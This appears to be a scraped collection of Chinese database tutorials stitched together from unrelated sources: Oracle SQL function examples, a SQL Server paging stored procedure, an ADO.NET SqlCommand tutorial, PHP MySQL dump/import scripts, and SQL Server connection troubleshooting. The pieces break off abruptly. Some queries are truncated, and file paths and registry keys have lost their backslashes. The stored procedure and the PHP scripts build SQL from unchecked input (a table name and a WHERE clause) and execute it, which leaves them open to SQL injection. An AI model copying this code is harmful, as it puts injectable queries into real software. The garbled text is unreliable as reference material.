SQL> select to_char(trunc(sysdate,‘hh‘),‘yyyy.mm.dd hh24:mi:ss‘) hh,
  2  to_char(trunc(sysdate,‘mi‘),‘yyyy.mm.dd hh24:mi:ss‘) hhmm from dual;

HH                  HHMM
——————- ——————-
2004.05.09 11:00:00 2004.05.09 11:17:00

 

42.CHARTOROWID
将字符数据类型转换为ROWID类型
SQL> select rowid,rowidtochar(rowid),ename from scott.emp;

ROWID              ROWIDTOCHAR(ROWID) ENAME
—————— —————— ———-
AAAAfKAACAAAAEqAAA AAAAfKAACAAAAEqAAA SMITH
AAAAfKAACAAAAEqAAB AAAAfKAACAAAAEqAAB ALLEN
AAAAfKAACAAAAEqAAC AAAAfKAACAAAAEqAAC WARD
AAAAfKAACAAAAEqAAD AAAAfKAACAAAAEqAAD JONES

43.CONVERT(c,dset,sset)
将源字符串 sset从一个语言字符集转换到另一个目的dset字符集
SQL> select convert(‘strutz‘,‘we8hp‘,‘f7dec‘) "conversion" from dual;

conver
——
strutz

44.HEXTORAW
将一个十六进制构成的字符串转换为二进制

45.RAWTOHEXT
将一个二进制构成的字符串转换为十六进制

 

46.ROWIDTOCHAR
将ROWID数据类型转换为字符类型

 

47.TO_CHAR(date,‘format‘)
SQL> select to_char(sysdate,‘yyyy/mm/dd hh24:mi:ss‘) from dual;

TO_CHAR(SYSDATE,‘YY
——————-
2004/05/09 21:14:41

 

48.TO_DATE(string,‘format‘)
将字符串转化为ORACLE中的一个日期

49.TO_MULTI_BYTE
将字符串中的单字节字符转化为多字节字符
SQL>  select to_multi_byte(‘高‘) from dual;

TO

50.TO_NUMBER
将给出的字符转换为数字
SQL> select to_number(‘1999‘) year from dual;

     YEAR
———
     1999

51.BFILENAME(dir,file)
指定一个外部二进制文件
SQL>insert into file_tb1 values(bfilename(‘lob_dir1‘,‘image1.gif‘));

52.CONVERT(‘x‘,‘desc‘,‘source‘)
将x字段或变量的源source转换为desc
SQL> select sid,serial#,username,decode(command,
  2  0,‘none‘,
  3  2,‘insert‘,
  4  3,
  5  ‘select‘,
  6  6,‘update‘,
  7  7,‘delete‘,
  8  8,‘drop‘,
  9  ‘other‘) cmd  from v$session where type!=‘background‘;

      SID   SERIAL# USERNAME                       CMD
——— ——— —————————— ——
        1         1                                none
        2         1                                none
        3         1                                none
        4         1                                none
        5         1                                none
        6         1                                none
        7      1275                                none
        8      1275                                none
        9        20 GAO                            select
       10        40 GAO                            none

53.DUMP(s,fmt,start,length)
DUMP函数以fmt指定的内部数字格式返回一个VARCHAR2类型的值
SQL> col global_name for a30
SQL> col dump_string for a50
SQL> set lin 200
SQL> select global_name,dump(global_name,1017,8,5) dump_string from global_name;

GLOBAL_NAME                    DUMP_STRING
—————————— ————————————————–
ORACLE.WORLD                   Typ=1 Len=12 CharacterSet=ZHS16GBK: W,O,R,L,D

54.EMPTY_BLOB()和EMPTY_CLOB()
这两个函数都是用来对大数据类型字段进行初始化操作的函数

55.GREATEST
返回一组表达式中的最大值,即比较字符的编码大小.
SQL> select greatest(‘AA‘,‘AB‘,‘AC‘) from dual;

GR

AC
SQL> select greatest(‘啊‘,‘安‘,‘天‘) from dual;

GR

56.LEAST
返回一组表达式中的最小值
SQL> select least(‘啊‘,‘安‘,‘天‘) from dual;

LE

57.UID
返回标识当前用户的唯一整数
SQL> show user
USER 为"GAO"
SQL> select username,user_id from dba_users where user_id=uid;

USERNAME                         USER_ID
—————————— ———
GAO                                   25

 

58.USER
返回当前用户的名字
SQL> select user from  dual;

USER
——————————
GAO

59.USEREVN
返回当前用户环境的信息,opt可以是:
ENTRYID,SESSIONID,TERMINAL,ISDBA,LABLE,LANGUAGE,CLIENT_INFO,LANG,VSIZE
ISDBA  查看当前用户是否是DBA如果是则返回true
SQL> select userenv(‘isdba‘) from dual;

USEREN
——
FALSE
SQL> select userenv(‘isdba‘) from dual;

USEREN
——
TRUE
SESSION
返回会话标志
SQL> select userenv(‘sessionid‘) from dual;

USERENV(‘SESSIONID‘)
——————–
                 152
ENTRYID
返回会话人口标志
SQL> select userenv(‘entryid‘) from dual;

USERENV(‘ENTRYID‘)
——————
                 0
INSTANCE
返回当前INSTANCE的标志
SQL> select userenv(‘instance‘) from dual;

USERENV(‘INSTANCE‘)
——————-
                  1
LANGUAGE
返回当前环境变量
SQL> select userenv(‘language‘) from dual;

USERENV(‘LANGUAGE‘)
—————————————————-
SIMPLIFIED CHINESE_CHINA.ZHS16GBK
LANG
返回当前环境的语言的缩写
SQL> select userenv(‘lang‘) from dual;

USERENV(‘LANG‘)
—————————————————-
ZHS
TERMINAL
返回用户的终端或机器的标志
SQL> select userenv(‘terminal‘) from dual;

USERENV(‘TERMINA
—————-
GAO
VSIZE(X)
返回X的大小(字节)数
SQL> select vsize(user),user from dual;

VSIZE(USER) USER
———– ——————————
          6 SYSTEM

 

60.AVG(DISTINCT|ALL)
all表示对所有的值求平均值,distinct只对不同的值求平均值
SQLWKS> create table table3(xm varchar(8),sal number(7,2));
语句已处理。
SQLWKS>  insert into table3 values(‘gao‘,1111.11);
SQLWKS>  insert into table3 values(‘gao‘,1111.11);
SQLWKS>  insert into table3 values(‘zhu‘,5555.55);
SQLWKS> commit;

SQL> select avg(distinct sal) from gao.table3;

AVG(DISTINCTSAL)
—————-
         3333.33

SQL> select avg(all sal) from gao.table3;

AVG(ALLSAL)
———–
    2592.59

61.MAX(DISTINCT|ALL)
求最大值,ALL表示对所有的值求最大值,DISTINCT表示对不同的值求最大值,相同的只取一次
SQL> select max(distinct sal) from scott.emp;

 

MAX(DISTINCTSAL)
—————-
            5000

62.MIN(DISTINCT|ALL)
求最小值,ALL表示对所有的值求最小值,DISTINCT表示对不同的值求最小值,相同的只取一次
SQL> select min(all sal) from gao.table3;

MIN(ALLSAL)
———–
    1111.11

63.STDDEV(distinct|all)
求标准差,ALL表示对所有的值求标准差,DISTINCT表示只对不同的值求标准差
SQL> select stddev(sal) from scott.emp;

STDDEV(SAL)
———–
  1182.5032

SQL> select stddev(distinct sal) from scott.emp;

STDDEV(DISTINCTSAL)
——————-
           1229.951

 

64.VARIANCE(DISTINCT|ALL)
求协方差

SQL> select variance(sal) from scott.emp;

VARIANCE(SAL)
————-
    1398313.9

65.GROUP BY
主要用来对一组数进行统计
SQL> select deptno,count(*),sum(sal) from scott.emp group by deptno;

   DEPTNO  COUNT(*)  SUM(SAL)
——— ——— ———
       10         3      8750
       20         5     10875
       30         6      9400

 

66.HAVING
对分组统计再加限制条件
SQL> select deptno,count(*),sum(sal) from scott.emp group by deptno having nt(*)>=5;

   DEPTNO  COUNT(*)  SUM(SAL)
——— ——— ———
       20         5     10875
       30         6      9400
SQL> select deptno,count(*),sum(sal) from scott.emp having count(*)>=5 group by tno ;

   DEPTNO  COUNT(*)  SUM(SAL)
——— ——— ———
       20         5     10875
       30         6      9400

67.ORDER BY
用于对查询到的结果进行排序输出
SQL> select deptno,ename,sal from scott.emp order by deptno,sal desc;

   DEPTNO ENAME            SAL
——— ———- ———
       10 KING            5000
       10 CLARK           2450
       10 MILLER          1300
       20 SCOTT           3000
       20 FORD            3000
       20 JONES           2975
       20 ADAMS           1100
       20 SMITH            800
       30 BLAKE           2850
       30 ALLEN           1600
       30 TURNER          1500
       30 WARD            1250
       30 MARTIN          1250
       30 JAMES            950

经测试,在 14483461 条记录中查询第 100000 页,每页 10 条记录按升序和降序第一次时间均为 0.47 秒,第二次时间均为 0.43 秒,测试语法如下:
 exec GetRecordFromPage news,newsid,10,100000
 news 为 表名, newsid 为关键字段, 使用时请先对 newsid 建立索引。
*/

/*
 函数名称: GetRecordFromPage
 函数功能: 获取指定页的数据
 参数说明: @tblName   包含数据的表名
      @fldName   关键字段名
      @PageSize   每页记录数
      @PageIndex  要获取的页码
      @OrderType  排序类型, 0 – 升序, 1 – 降序
      @strWhere   查询条件 (注意: 不要加 where)
 作  者: 铁拳
 邮  箱: [email protected]
 创建时间: 2004-07-04
 修改时间: 2004-07-04
*/
CREATE PROCEDURE GetRecordFromPage
  @tblName   varchar(255),    — 表名
  @fldName   varchar(255),    — 字段名
  @PageSize   int = 10,      — 页尺寸
  @PageIndex  int = 1,      – 页码
  @OrderType  bit = 0,      – 设置排序类型, 非 0 值则降序
  @strWhere   varchar(2000) = "" – 查询条件 (注意: 不要加 where)
AS

declare @strSQL  varchar(6000)    — 主语句
declare @strTmp  varchar(1000)    — 临时变量
declare @strOrder varchar(500)    – 排序类型

if @OrderType != 0
begin
  set @strTmp = "<(select min"
  set @strOrder = " order by [" + @fldName + "] desc"
end
else
begin
  set @strTmp = ">(select max"
  set @strOrder = " order by [" + @fldName +"] asc"
end

set @strSQL = "select top " + str(@PageSize) + " * from ["
  + @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
  + @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
  + @fldName + "] from [" + @tblName + "]" + @strOrder + ") as tblTmp)"
  + @strOrder

if @strWhere != ""
  set @strSQL = "select top " + str(@PageSize) + " * from ["
    + @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
    + @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
    + @fldName + "] from [" + @tblName + "] where " + @strWhere + " "
    + @strOrder + ") as tblTmp) and " + @strWhere + " " + @strOrder

if @PageIndex = 1
begin
  set @strTmp = ""
  if @strWhere != ""
    set @strTmp = " where (" + @strWhere + ")"

  set @strSQL = "select top " + str(@PageSize) + " * from ["
    + @tblName + "]" + @strTmp + " " + @strOrder
end

exec (@strSQL)

GO

  数据库命令执行时使用Command对象。Command类有三种:SqlCommand、OleDbCommand与OdbcCommand。

  Command对象主要用来运行SELECT、INSERT、UPDATE或DELETE之类的SQL语句。Command对象还可以调用存储过程或从特定表中取得记录。

  DataReader对象主要是用来读取数据结果,使用它读取记录时通常比从DataSet更快。DataReader类有三种:SqlDataReader、OleDbDataReader和OdbcDataReader。DataReader对象用Commmand对象从数据库中读取记录,并且DataReader对象只能向前的读取记录,用于在某些情况下替代DataSet对象(DataSet对象可以存储数据库中的行拷贝,可以在切断数据库的连接时处理这个拷贝,我们将在以后的章节中详细介绍该对象)。

  注意:不能用DataReader修改数据库中的记录,它是采用向前的,只读的方式读取数据库。

  SqlCommand类

  SqlCommand对象用于对Sql Server数据库执行命令。OleDbCommand对象用于对支持OleDb的数据库执行命令,如Oracle与Access。OdbcCommand对象用于对支持Odbc的数据库执行命令。尽管SqlCommand类是针对Sql Server的,但是这个类的许多属性、方法与事件和OleDbCommand及OdbcCommand等类相似。本章将重点讲解SqlCommand特定的属性与方法,其他的Command类你可以参考相应的帮助文档。

  注意:使用不同的Command对象需要导入不同的命名空间。OleDbCommand的命名空间为System.Data.OleDb。SqlCommand的命名空间为System.Data.SqlClient。OdbcCommand的命名空间为System.Data.Odbc。

  SqlCommand属性:

属性 说明
CommandText 其返回类型为string, 获取或设置要对数据源执行的 SQL 语句、存储过程或表。
CommandTimeOut 其返回类型为int,获取或设置在终止执行命令的尝试并生成错误之前的等待时间。
CommandType 其返回类型为CommandType,读取或设置表示CommandText属性将如何被解释的值,其有效的值可以为CommandType.Text、CommandType.StoredProcedur与CommandType.TableDirect,分别表示SQL语句、存储过程调用或要读取的表,默认为Text。
Connection 其返回类型为string, 获取或设置 SqlCommand 的此实例使用的 SqlConnection。
Parameters 其返回类型为SqlParameterCollection,取得提供给命令的参数(如有)。

  SqlCommand方法:

方法 说明
Cancle() 其返回类型为void,取消命令的执行
CreateParameter() 其返回类型为SqlParameter, 用于创建 SqlParameter 对象的新实例。
ExecuteNonQuery() 其返回类型为int,执行不返回结果集的Sql语句,包括INSERT、UPDATE与DELETE语句、DDL语句和不返回结果集的存储过程调用。返回的int值是命令影响的数据库行数。
ExecuteReader() 其返回类型为SqlDataReader, 执行SELECT语句、TableDirect命令或返回结果集的存储过程调用。在SqlDataReader对象中返回结果集。
ExecuteScalar() 其返回类型为object,执行返回单个值的SELECT语句(任何其他的值将被忽略)。这个命令结果作为对象被返回。
ExecuteXmlReader() 其返回类型为XmlReader,执行返回XML数据的SELECT语句,用XmlReader对象返回结果集,只适用于SqlCommand类

 

      生成SqlCommand对象

  我们可以用构造函数生成SqlCommand对象,也可以调用SqlConnection对象的CreateCommand()方法生成SqlCommand对象,下面分别介绍这两种方法。

  用构造函数生成SqlCommand对象

  SqlCommand对象的构造函数如下所示:

SqlCommand()
SqlCommand(string commandText)
SqlCommand(string commandText,SqlConnection mySqlConnection)

  程序代码说明:在上述语法范例的程序代码中,commandText包含SQL语句、存储过程调用或要读取的表。mySqlConnection是对应的SqlConnection对象。

  在使用SqlCommand对象之前,首先要确定一个SqlConnection对象,用于和SQL Server数据库进行数据传递。

mySqlConnection.ConnectionString="server=localhost;database=Northwind;
integrated security=SSPI";

  然后可以用下列语句生成新的SqlCommand对象:

SqlCommand mySqlCommand=new SqlCommand();

  再将mySqlCommand对象的Connection属性设置为mySqlConnection:

mySqlCommand.Connection= mySqlConnection;

  这样mySqlCommand对象就可以使用mySqlConnection与数据库进行数据传递。现在,Command对象的CommandType属性确定要执行的命令类型。可以用System.Data.CommandType枚举值指定CommandType属性。
CommandType的枚举值如下表所示:

数值 说明
Text 表示命令是SQL语句,默认值是Text
StoredProcedure 表示命令是储存过程调用
TableDirect 表示被读取的行和列的表名。注意:SqlCommand对象不支持TableDirect,要使用其他的Command类的对象。

  例如你可以采用如下的形式执行一个SQL查询:

SqlCommand mySqlCommand=new SqlCommand();
mySqlCommand.Connection=mySqlConnection;
mySqlCommand.CommandText=”SELECT * FROM Employees”;
//mySqlCommand.CommandType=CommandType.Text;

  程序代码说明:在上述语法范例的程序代码中,我们设置了mySqlCommand对象的commandText为一个SELECT查询语句,并且指定了mySqlCommand对象的CommandType属性为CommandType.Text,表示命令是SQL语句。由于CommandType.Text是默认的CommandType值,所以我们可以将其注译掉。

  还有一个更具效率的形式,那就是使用SqlCommand对象的其中一种构造函数:

SqlCommand mySqlCommand=new SqlCommand(”SELECT * FROM Employees”,myConnection);

  程序代码说明:在上述语法范例的程序代码中,我们可以直接利用SqlCommand(string commandText,SqlConnection mySqlConnection) 构造函数,从而使得程序代码更加的简练和直观。

  还可以使用储存过程来查询所需要的数据,我们可以采用如下的代码形式:

SqlCommand mySqlCommand=new SqlCommand(”GetEmpolyees”,myConnection);
mySqlCommand.CommandType=CommandType.StoredProcedure;

  程序代码说明:在上述语法范例的程序代码中,GetEmpolyees为一个储存过程名,用来实现所有的雇员信息查询。并且将CommandType值指定为StoredProcedure,表示命令是储存过程调用。

  使用CreateCommand()方法生成SqlCommand对象

  如果不用构造函数,也可以使用SqlConnection对象的CreateCommand()方法生成SqlCommand对象。这个方法返回新的SqlCommand对象。例如:

SqlCommand mySqlCommand=mySqlConnection.CreateCommand();

SqlDataReader类

  可以用SqlDataReader类对象从SQL Server数据库中读取行;用OleDbDataReader类对象从支持OLE DB的数据库中读行,如Oracle与Access;用OdbcDataReader类对象从支持ODBC的数据库中读取行。

  DataReader对象允许你以向前的,只读的方式读取数据,有时候DataReader对象也称为消软管游标。DataReader对象采用了一种简化的数据读取方式,但是提高了性能的同时也牺牲了很多特性。例如在DataSet中支持的排序,分页等功能。这些功能将在以后的章节进行详细的介绍。

  SqlDataReader的属性

属性 说明
Depth 其返回类型为int,取得表示当前行嵌入深度的值
FieldCount 其返回类型为int,取得当前行的列数
IsColsed 其返回类型为bool,取得一个布尔值,表示是否关闭数据读取
RecordsAffected 其返回类型为int, 取得执行SQL语句增加、修改或删除的行数。

  SqlDataReader的方法

方法 说明
Reader() 其返回类型为bool,将数据阅读器移到结果集的下一行并读取该行。这个方法返回的布尔值表示结果集中是否有多行
GetValue() 其返回类型为object, 返回指定列的值
GetValues() 其返回类型为int,将当前行中所有列的值复制到指定对象数组。这个方法返回的int是数组元素的个数
NextResult() 其返回类型为bool,将数据阅读器移到结果集的下一行。这个方法返回的布尔值表示结果集中是否有多行
Close() 关闭 SqlDataReader 对象
GetInt32(),GetChar(),
GateDataTime(),Get×××()
返回指定列的值,并且返回的类型为相应的数据类型。例如GetInt32()返回整型的数值。注意,如果你将返回值赋予一个类型不匹配的变量时,将会抛出一个InvalidCastException异常

   用ExecuteReader()方法执行查询

  下面是一个用ExecuteReader()方法执行SELECT语句的范例。这个方法用DataReader对象返回结果集,然后可以用此对象读取数据库返回的行。

  范例程序代码如下:

01 public partial class _Default : System.Web.UI.Page
02 {
03  protected void Page_Load(object sender, EventArgs e)
04  {
05   string connectionString =
06 ConfigurationManager.ConnectionStrings["Northwind"].ConnectionString;
07   SqlConnection con = new SqlConnection(connectionString);
08   string sql = "SELECT top 5 CustomerID,CompanyName,ContactName,Address
09          FROM Customers";
10   SqlCommand cmd = new SqlCommand(sql, con);
11   con.Open();
12   SqlDataReader reader = cmd.ExecuteReader();
13   StringBuilder htmlStr = new StringBuilder("");
14   while (reader.Read())
15   {
16    htmlStr.Append("CustomerID:" + reader["CustomerID"] + "<br>");
17    htmlStr.Append("CompanyName:" + reader["CompanyName"] + "<br>");
18    htmlStr.Append("ContactName:" + reader.GetString(2) + "<br>");
19    htmlStr.Append("Address:" + reader.GetString(3) + "<br>");
20    htmlStr.Append("<hr>");
21   }
22   reader.Close();
23   con.Close();
24   HtmlContent.Text = htmlStr.ToString();
25  }
26 }

  程序代码说明:在上述语法范例的程序代码中,第5到12行代码生成所要的对象并执行SELECT语句,从Customers表中读取前5条记录。cmd返回的结果集存放在reader对象中,然后你可以用Reader()方法读取reader对象的记录。这个方法在有另一个可读的行时返回布尔真值,否则返回布尔假值。可以从reader对象中读取一个记录的各个列值,只要在方括号中传入列名即可。如第16和17行所示,我们用reader[“CustomerID”]读取CustomerID列的各项内容。你也可以直接在方括号中传入数字值指定想要列的索引。如第18和19行代码所显示,由于我们在用SELECT进行数据查询的时,ContactName和Address分别位于第3和第4列,而相应的索引值则为2和3,所以我们可以用reader.GetString(2)和reader.GetString(3)读取ContactName和Address列的数据。如第14行代码所示,我们可以在While循环中用Reader()方法一一读取每条记录。

  执行结果:

附件:wrx298kd8j.png(11780 Byte)

      每次程序执行命令时,都要将相应的命令通过网络传递到数据库中,并在数据库进行执行,然后将结果返回到程序中,从而产生大量的网络通信流。我们可以使用ExecuteReader()方法同时执行多条SELECT语句查询减少重复的数据传递。

  下面的实例是使用ExecuteReader()方法同时查询三个表中的数据,并将返回的三个结果集显示在页面上。

  范例程序代码如下:

01 public partial class _Default : System.Web.UI.Page
02 {
03  protected void Page_Load(object sender, EventArgs e)
04  {
05   string connectionString =
06 ConfigurationManager.ConnectionStrings["Northwind"].ConnectionString;
07   SqlConnection con = new SqlConnection(connectionString);
08   SqlCommand cmd = con.CreateCommand();
09   cmd.CommandText = "SELECT TOP 3 ProductID,ProductName
10   FROM Products ORDER BY ProductID;" +
11    "SELECT TOP 3 CustomerID,CompanyName
12    FROM Customers ORDER BY CustomerID;" +
13     "SELECT TOP 3 OrderID,CustomerID
14     FROM Orders ORDER BY OrderID;";
15   con.Open();
16   SqlDataReader reader = cmd.ExecuteReader();
17   StringBuilder htmStr=new StringBuilder("");
18   int i = 0;
19   do
20   {
21    htmStr.Append("结果集");
22    htmStr.Append(i.ToString());
23    htmStr.Append("<br>");
24    while (reader.Read())
25    {
26     htmStr.Append("reader[0]=" + reader[0]);
27     htmStr.Append("<br>");
28     htmStr.Append("reader[1]=" + reader[1]);
29     htmStr.Append("<br><br>");
30    }
31    htmStr.Append("<hr>");
32    i++;
33   } while (reader.NextResult());
34   reader.Close();
35   con.Close();
36   HtmlContent.Text = htmStr.ToString();
37  }
38 }

  程序代码说明:在上述语法范例的程序代码中,第9行到第14中定义了3个查询语句,各语句之间用分号进行间隔。第16行调用ExecuteReader()方法,并返回SqlDataReader对象,并且对三条不同的SELECT语句各返回一个结果集。要读取第一个结果集的话,可以用SqlDataReader对象的Reader()方法。Reader()方法在没有其他的可读行时将返回一个false值。当一个结果集的所有记录都读取完毕后,可以调用SqlDataReader对象的NextResult()方法,然后在读取下一个结果集,在没有其他的结果集时,也返回一个false值。

  提示:外循环do…while测试结尾的reader. NextResult()的返回值。由于do…while循环末尾检测这个条件,这样就保证了do…while循环至少执行一次。之所以在末尾才调用NextResult()方法,是因为这样可以首先把SqlDataReader对象移到下一个结果集,然后才返回表示是否还有下一个结果集的布尔结果。如果使用while循环中,则有可能直接跳过第一个结果集,从而产生错误。

81d4kg6g51.png

    用ExecuteScalar()方法执行SELECT语句

  用ExecuteScalar()方法执行SELECT语句,返回单个值,并且忽略其他的任何读取的结果。ExecuteScalar()方法返回的结果是一个object对象。ExecuteScalar()主要是用来执行SELECT语句,或者执行包括聚合函数的SQL语句。

  下面我们将使用如下的程序读取Products表中的记录条数,并且在相应的查询语句中使用COUNT()聚合函数。

  范例程序代码如下:

01 public partial class _Default : System.Web.UI.Page
02 {
03  protected void Page_Load(object sender, EventArgs e)
04  {
05   string connectionString =
06    ConfigurationManager.ConnectionStrings["Northwind"].ConnectionString;
07   SqlConnection con = new SqlConnection(connectionString);
08   SqlCommand cmd = con.CreateCommand();
09   cmd.CommandText = "SELECT COUNT(*) FROM Products";
10   con.Open();
11   int returnValue = (int)cmd.ExecuteScalar();
12   HtmlContent.Text = "Products表中共有" + returnValue.ToString()+"条记录";
13  }
14 }

  程序代码说明:在上述语法范例的程序代码中,第9行即为查询Products表中的记录条数的SQL语句。第11行代码用ExecuteScalar()方法执行SELECT语句。注意,由于ExecuteScalar()方法的结果为object对象,因此我们要将其进行强制类型转换,再赋予相应的变量。

  执行结果:

3iw32u28xs.png

    大家一定使用过 phpmyadmin 里面的数据库导入,导出功能,非常方便。但是在实际应用中,我发现如下几个问题:

  1 数据库超过一定尺寸,比如6M 这时使用导出一般没问题,可以正确的保存到本机硬盘上面,但是导入则不行!原因是:一般的 PHP.INI 里面设置临时文件/上传文件的大小限制为2M,而phpmyadmin使用了上传的方式,造成失败。

  2 导出到硬盘的 .SQL 文件在导回时,经常出现由于某些单引号的问题引起失败,造成导入失败,只能用 mysql等应用程序导入了。 我的数据库已经超过10M,所以必须解决这个问题。我的思路:

  导出: 用phpmyadmin 保存数据库/表格结构,用脚本读取数据库内容并保存到文件里面!
  导入: 用phpmyadmin 恢复数据库/表格结构,用脚本读取文件,然后保存到库里面!

  导出程序如下:调用方法为 ****.php?table=tablename
  这个简单的程序目前一次保存一个表格!!每行为一个字段的数据!!

以下为引用的内容:
< ?
if($table=="")exit();
mysql_connect("localhost","name","password");
mysql_select_db("database");
$result = mysql_query("select * from $table");
if(mysql_num_rows($result) < = 0) exit();
echo "开始转换数据到文本…
";
$handle = fopen("$table.txt","w");
$numfields = mysql_num_fields($result);
fputs($handle,$numfields."
");
for($k=0;$k< mysql_num_rows($result);$k++)
{
$msg = mysql_fetch_row($result);
for($i=0;$i< $numfields;$i++)
{
$msg[$i] = str_replace("
","&&php2000mysqlreturn&&",$msg[$i]);
$msg[$i] = str_replace("
" ,"&&php2000mysqlreturn&&",$msg[$i]);
fputs($handle,$msg[$i]."
");
}
fputs($handle,"——- php2000 dump data program V1.0 for MySQL ——–
");
}
fclose($handle);
echo "ok";
?>

  导入的程序如下:用法同上面!

以下为引用的内容:
< ?
if($table=="")exit();
mysql_connect("localhost","name","password");
mysql_select_db("database");
$message = file("$table.txt");
echo $numfields = chop($message[0]);
for($k=1;$k< count($message);$k+=($numfields+1))
{
$value="";
for ($i=$k;$i< ($k+$numfields-1);$i++)
{
$tmp = str_replace("&&php2000mysqlreturn&&","
",chop($message[$i]));
$value .= "‘".addslashes($tmp)."‘,";
}
$tmp = str_replace("&&php2000mysqlreturn&&","
",chop($message[$k+$numfields-1]));
$value .= "‘".$tmp."‘";
$query = "insert into $table values (".$value.")";
echo mysql_error();
mysql_query($query);
echo $k." ";
}
echo "ok";
?>

  使用方法和可能的问题!
  1 导入时 file()函数可能会有问题(我的10M的数据没出现问题),可以改为 fopen()然后没次读一行!!
  2 导入,导出都需要用 ftp 操作,也就是导出后,用 ftp 把数据转到本机,导入时先用ftp转移数据到服务器!

转自:http://www.weste.net/2006/7-14/16243358863.html

    SQL Server连接中的常见错误:

  一、"SQL Server 不存在或访问被拒绝"

  这个是最复杂的,错误发生的原因比较多,需要检查的方面也比较多。

  一般说来,有以下几种可能性:

  1、SQL Server名称或IP地址拼写有误

  2、服务器端网络配置有误

  3、客户端网络配置有误

  要解决这个问题,我们一般要遵循以下的步骤来一步步找出导致错误的原因。

  首先,检查网络物理连接

  ping <服务器IP地址/服务器名称>

  如果 ping <服务器IP地址> 不成功,说明物理连接有问题,这时候要检查硬件设备,如网卡,HUB,路由器等。

  还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如 ISA Server。防火墙软件可能会屏蔽对 ping,telnet 等的响应

  因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口。

  如果ping <服务器IP地址> 成功而,ping <服务器名称> 失败

  则说明名字解析有问题,这时候要检查 DNS 服务是否正常。

  有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HOSTS文件来进行名字解析,

  具体的方法是:

  1、使用记事本打开HOSTS文件(一般情况下位于C:WINNTsystem32driversetc)。

  添加一条IP地址与服务器名称的对应记录,如:

  172.168.10.24 myserver

  2、或在 SQL Server 的客户端网络实用工具里面进行配置,后面会有详细说明。

   其次,使用 telnet 命令检查SQL Server服务器工作状态

  telnet <服务器IP地址> 1433

  如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明 SQL Server 服务器工作正常,并且正在监听1433端口的 TCP/IP 连接

  如果命令返回"无法打开连接"的错误信息,则说明服务器端没有启动 SQL Server 服务,

  也可能服务器端没启用 TCP/IP 协议,或者服务器端没有在 SQL Server 默认的端口1433上监听。

  接着,我们要到服务器上检查服务器端的网络配置,检查是否启用了命名管道。是否启用了 TCP/IP 协议等等

  可以利用 SQL Server 自带的服务器网络使用工具来进行检查。

  点击:程序 — Microsoft SQL Server — 服务器网络使用工具

  打开该工具后,在"常规"中可以看到服务器启用了哪些协议。

  一般而言,我们启用命名管道以及 TCP/IP 协议。

  点中 TCP/IP 协议,选择"属性",我们可以来检查 SQK Server 服务默认端口的设置

  一般而言,我们使用 SQL Server 默认的1433端口。如果选中"隐藏服务器",则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接。

   接下来我们要到客户端检查客户端的网络配置

  我们同样可以利用 SQL Server 自带的客户端网络使用工具来进行检查,

  所不同的是这次是在客户端来运行这个工具。

  点击:程序 — Microsoft SQL Server — 客户端网络使用工具

打开该工具后,在"常规"项中,可以看到客户端启用了哪些协议。

  一般而言,我们同样需要启用命名管道以及 TCP/IP 协议。

  点击 TCP/IP 协议,选择"属性",可以检查客户端默认连接端口的设置,该端口必须与服务器一致。

  单击"别名"选项卡,还可以为服务器配置别名。服务器的别名是用来连接的名称,

  连接参数中的服务器是真正的服务器名称,两者可以相同或不同。别名的设置与使用HOSTS文件有相似之处。

  通过以上几个方面的检查,基本上可以排除第一种错误。  

    二、"无法连接到服务器,用户xxx登陆失败"

  该错误产生的原因是由于SQL Server使用了"仅 Windows"的身份验证方式,

  因此用户无法使用SQL Server的登录帐户(如 sa )进行连接。解决方法如下所示:

  1、在服务器端使用企业管理器,并且选择"使用 Windows 身份验证"连接上 SQL Server

  2、展开"SQL Server组",鼠标右键点击SQL Server服务器的名称,选择"属性",再选择"安全性"选项卡

  3、在"身份验证"下,选择"SQL Server和 Windows "。

  4、重新启动SQL Server服务。

  在以上解决方法中,如果在第 1 步中使用"使用 Windows 身份验证"连接 SQL Server 失败,

  那就通过修改注册表来解决此问题:

  1、点击"开始"-"运行",输入regedit,回车进入注册表编辑器

  2、依次展开注册表项,浏览到以下注册表键:

  [HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServer]

  3、在屏幕右方找到名称"LoginMode",双击编辑双字节值

  4、将原值从1改为2,点击"确定"

  5、关闭注册表编辑器

  6、重新启动SQL Server服务。

  此时,用户可以成功地使用sa在企业管理器中新建SQL Server注册,

  但是仍然无法使用Windows身份验证模式来连接SQL Server。

  这是因为在 SQL Server 中有两个缺省的登录帐户:

  BUILTINAdministrators

  <机器名>Administrator 被删除。

  要恢复这两个帐户,可以使用以下的方法:

  1、打开企业管理器,展开服务器组,然后展开服务器

  2、展开"安全性",右击"登录",然后单击"新建登录"

  3、在"名称"框中,输入 BUILTINAdministrators

  4、在"服务器角色"选项卡中,选择"System Administrators"

  5、点击"确定"退出

  6、使用同样方法添加 <机器名>Administrator 登录。

  说明:

  以下注册表键:
  HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerLoginMode

  的值决定了SQL Server将采取何种身份验证模式。

  1、表示使用"Windows 身份验证"模式

  2、表示使用混合模式(Windows 身份验证和 SQL Server 身份验证)。

    三、提示连接超时

  如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接,

  不过是由于连接的时间大于允许的时间而导致出错。

  这种情况一般会发生在当用户在Internet上运行企业管理器来注册另外一台同样在Internet上的服务器,并且是慢速连接时,有可能会导致以上的超时错误。有些情况下,由于局域网的网络问题,也会导致这样的错误。

  要解决这样的错误,可以修改客户端的连接超时设置。

  默认情况下,通过企业管理器注册另外一台SQL Server的超时设置是 4 秒,而查询分析器是 15 秒(这也是为什么在企业管理器里发生错误的可能性比较大的原因)。

  具体步骤为:

  企业管理器中的设置:

  1、在企业管理器中,选择菜单上的"工具",再选择"选项"

  2、在弹出的"SQL Server企业管理器属性"窗口中,点击"高级"选项卡

  3、在"连接设置"下的"登录超时(秒)"右边的框中输入一个比较大的数字,如 20。

  查询分析器中的设置:

  工具 — 选项 — 连接 — 将登录超时设置为一个较大的数字

